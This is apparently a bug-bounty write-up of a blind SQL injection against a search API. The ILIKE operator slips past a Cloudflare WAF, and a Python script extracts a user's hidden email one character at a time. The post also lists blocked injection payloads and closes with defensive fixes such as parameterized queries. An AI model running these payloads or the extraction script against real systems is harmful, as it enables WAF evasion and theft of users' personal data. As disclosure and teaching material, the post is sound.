That Time 5 Letters Broke a "Strict" WAF (A Quick Post-Mortem)

My breakdown of a real-world WAF bypass. See how the 5-letter ILIKE operator slipped past filters, the payload logic, and how to defend against it.
How I Pwned a Strict WAF with a 5-Letter SQL Trick

Alright, pull up a chair. We all know the "classic" SQL injection. But what happens when you find a juicy bug, and it's hiding behind a big, scary WAF (Web Application Firewall) like Cloudflare? You've got injection, but you can't use OR 1=1, UNION, or SLEEP(). Everything is BLOCKED. 99% of hunters give up here. This is the story of how I joined the 1%.


Heads Up!
This is a real-world bug bounty story. The techniques are for educational and authorized testing (CTF, Bug Bounty) ONLY. Using this on a site you don't have permission for is how you go from bug hunter to "inmate." Don't be that person.
Table of Contents

Chapter 1: The First Clue (It's Always the Quiet Ones)

I was testing an API endpoint. It was a simple user search function. Nothing sensitive, just public info.

https://api.test.com/users/public?page=1&search=bug_vs_me


Test 1: The Normal Search
I sent a request for deepak(for example using random name) and got a 200 OK with his public data. Totally normal.

API Response for deepak
Normal search. Everything looks fine.

Test 2: The "Smoke Grenade" (a single quote)
Then, I tried searching for 'bug_vs_me. The page returned a 200 OK... but the data was empty. No error, just... nothing. A lot of hunters would see "200 OK" and move on. Big mistake.

This "nothing" response is a classic sign of **Blind SQL Injection**. My quote broke the query, so the backend code just returned an empty list instead of a big, loud error message.

I confirmed it in Burp by adding a logical operator. The API *hated* it and finally showed its cards.

API Response showing SQL error
Gotcha! The error confirms SQLi and tells us the backend is PostgreSQL.

Chapter 2: The WAF Brick Wall

So, I had a confirmed SQLi on a PostgreSQL database. Easy money, right? Wrong.

The site was behind a very strict Cloudflare WAF. I tried everything. `sqlmap` failed. Manual payloads failed. Everything was blocked.

WAF Says NO!
All my standard payloads were getting instantly shut down.
' OR 1=1--  -> BLOCKED
' AND 1=1-- -> BLOCKED
' AND IF(1=1,SLEEP(5),0)-- -> BLOCKED
' UNION SELECT... -> BLOCKED

This is where you have to stop thinking like a script kiddie and start thinking like a database admin. The WAF is looking for "hacker words." My job was to find a "normal word" that I could use for hacking.


WAF Bypasses are an art form.
This is a great example of bypassing WAF.

GIF of WAF bypass
The mindset needed to get around WAFs often involves creativity and deep understanding.

Chapter 3: The 5-Letter Bypass: `ILIKE`

I spent hours reading PostgreSQL documentation. I wasn't looking for attack functions. I was looking for *search operators*. And then I found it: ILIKE.

ILIKE is a simple, case-insensitive version of LIKE. It's used for pattern matching (e.g., username ILIKE 'a%' finds users starting with 'a' or 'A').

The "Aha!" Moment:
Why is ILIKE the perfect bypass? Because it's a legitimate search function! A WAF is *designed* to allow search operators, otherwise the application itself would break. It's not on the "bad list."

- Operator's Log

I crafted a new payload. The {} at the start is just to close the search query string early.

{}'+Or+publicusername+ILIKE+'deepak

Result: SUCCESS! The API returned Deepak's data. The WAF saw ILIKE as a normal part of a search and let it straight through. I had my bypass.


Chapter 4: Weaponizing `ILIKE` for Data Theft

Bug bounty message

Now that I could control the query, it was time to steal the data. The API response showed a masked email, but I knew the *real* email was in another column, probably called username.

I could now use my bypass to ask TRUE/FALSE questions. This is Blind SQLi.

The Logic: "Show me the user 'deepak' IF his real email (in the username column) starts with 'd'."

{}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'d%'

This is a perfect boolean test!

  1. Test 1: `...AND+username+ILIKE+'d%'`
    Result: TRUE. (The API returned Deepak's data). This means the email starts with 'd'.
  2. Test 2: `...AND+username+ILIKE+'de%'`
    Result: TRUE. (Data returned). The email starts with 'de'.
  3. Test 3: `...AND+username+ILIKE+'dex%'`
    Result: FALSE. (API returned empty []). The email does NOT start with 'dex'.
  4. Test 4: `...AND+username+ILIKE+'dee%'`
    Result: TRUE. (Data returned). The email starts with 'dee'.
Bug bounty success

You see the game? I could now do this for every character and extract the entire email, one letter at a time.


Chapter 5: The PoC: Automating the Attack

mail response
I reported the bug. But... the program team didn't believe me! They said it wasn't a "real" SQLi. So, I had to prove it.

I wrote a simple Python script to automate the entire attack. It just asks for a public username, then runs through the alphabet to extract the full email in seconds.

Bug bounty mediation message
The security team denying the bug. Time to prove them wrong.

import requests
import string

# Target configuration
host = "https://api.test.com" # Vulnerable host
base_path = "/users/public"
charset = string.ascii_lowercase + string.digits + "@._"
headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "application/json"
}

def is_valid_email_prefix(public_username, prefix):
    """
    Constructs and sends the SQLi payload to test one character prefix.
    """
    # The '%' is the SQL wildcard, critical for ILIKE
    payload = f"{{}}'OR+publicusername+ILIKE+'{public_username}'+AND+username+ILIKE+'{prefix}%'"
    url = f"{host}{base_path}?page=1&search={payload}"
    
    try:
        r = requests.get(url, headers=headers, timeout=10)
        if r.status_code == 200 and '"public":[' in r.text:
            data = r.json()
            # If we get a "success" AND data, the prefix is TRUE
            if data.get("status") == "success" and data.get("public"):
                print(f"[+] Valid prefix: {prefix}")
                return True
    except Exception as e:
        print(f"[-] Error testing prefix '{prefix}': {e}")
    return False

def extract_email(public_username):
    email_prefix = ""
    print(f"[*] Starting email extraction for: {public_username}")

    while True:
        found_char = False
        for c in charset:
            attempt = email_prefix + c
            if is_valid_email_prefix(public_username, attempt):
                email_prefix += c
                found_char = True
                break # Go to the next character
        
        if not found_char:
            break # No more characters match

    return email_prefix

# --- Main execution ---
public_username = input("Enter the public_username to extract email for: ").strip()
if public_username:
    extracted_email = extract_email(public_username)
    if extracted_email:
        print(f"\n[+] SUCCESS: Extracted email: {extracted_email}")
    else:
        print(f"\n[-] FAILED: Could not extract email.")
else:
    print("[-] No username provided.")
  1. Input: Asks for a public_username to target.
  2. Loop: Starts a while loop to build the email, one character at a time.
  3. Test: Tries every char in charset (a-z, 0-9, @, _, .).
  4. Payload: Creates the ILIKE payload (e.g., ...AND+username+ILIKE+'d%').
  5. Analyze: If the server returns data ("True"), it adds the char ('d') to the email_prefix and loops again to find the next char ('de%', 'dee%', etc.).
  6. Terminate: If it tries all characters and none are "True", it means the email is complete.
  7. Output: Prints the final extracted email.

The script worked perfectly. Faced with an undeniable PoC, the team (with help from the mediation team) finally validated the bug. Case closed.


Script running and extracting an email Bug bounty final acceptance

Chapter 6: The Attacker/Defender Playbook

This bug was a perfect storm. So what's the takeaway?

Attacker's Playbook: What We Learned

1. WAFs are just "Dumb" Checklists: A WAF isn't smart. It's just a big list of "bad" words. Your job is to find the "good" words (like ILIKE) that the WAF ignores but the database will execute.

2. Read The F*cking Manual (RTFM): This bypass wasn't in any "Top 10 SQLi Payloads" list. It came from reading the actual PostgreSQL documentation. Always research your specific target.

3. A "200 OK" Can Be a Lie: A "success" response that shows *no data* (when it should) is a massive red flag for a Blind Injection. Always trust the change in behavior, not the status code.

Defender's Playbook: How to Fix This FOREVER

1. DON'T RELY ON A WAF! A WAF is a bonus, not a solution. Your code *must* be secure on its own. This bug was 100% preventable.

2. The #1 Fix: Parameterized Queries! This is the golden rule. It separates the SQL *command* from the *user data*. The database is told "this is the query" and "this is just some text," so it never tries to "run" the user's text. Attack DEAD.

Vulnerable Code (NEVER EVER DO THIS!)
This is what they did. They stitched a string together.
String query = "SELECT * FROM users WHERE publicusername = '" + userInput + "'";
Secure Code (THE ONLY WAY!)
This is what they *should* have done. The ? is a safe placeholder.
PreparedStatement stmt = con.prepareStatement("SELECT * FROM users WHERE publicusername = ?");
stmt.setString(1, userInput);

3. Least Privilege: Why did the public API user have permission to read the username (email) column?! It should *only* have been able to read publicusername and other public data. Never give your database users more power than they absolutely need.



Conclusion: Dig Deeper

Don't let a WAF or a "200 OK" fool you. The real bugs are often hiding just one layer deep. When your tools fail, that's when the *real* hacking begins. Dig into the documentation, find the obscure operators, and prove them wrong.

Go find some (authorized) bugs.

4 comments

  1. Anonymous
    Wow, it’s amazing.
    1. Zayeef
      Zayeef
      Thanks for your amazing feedback.
  2. Noemi Bennett
    Great bug Hunter 🤠
    1. Zayeef
      Zayeef
      Next joke please 🥺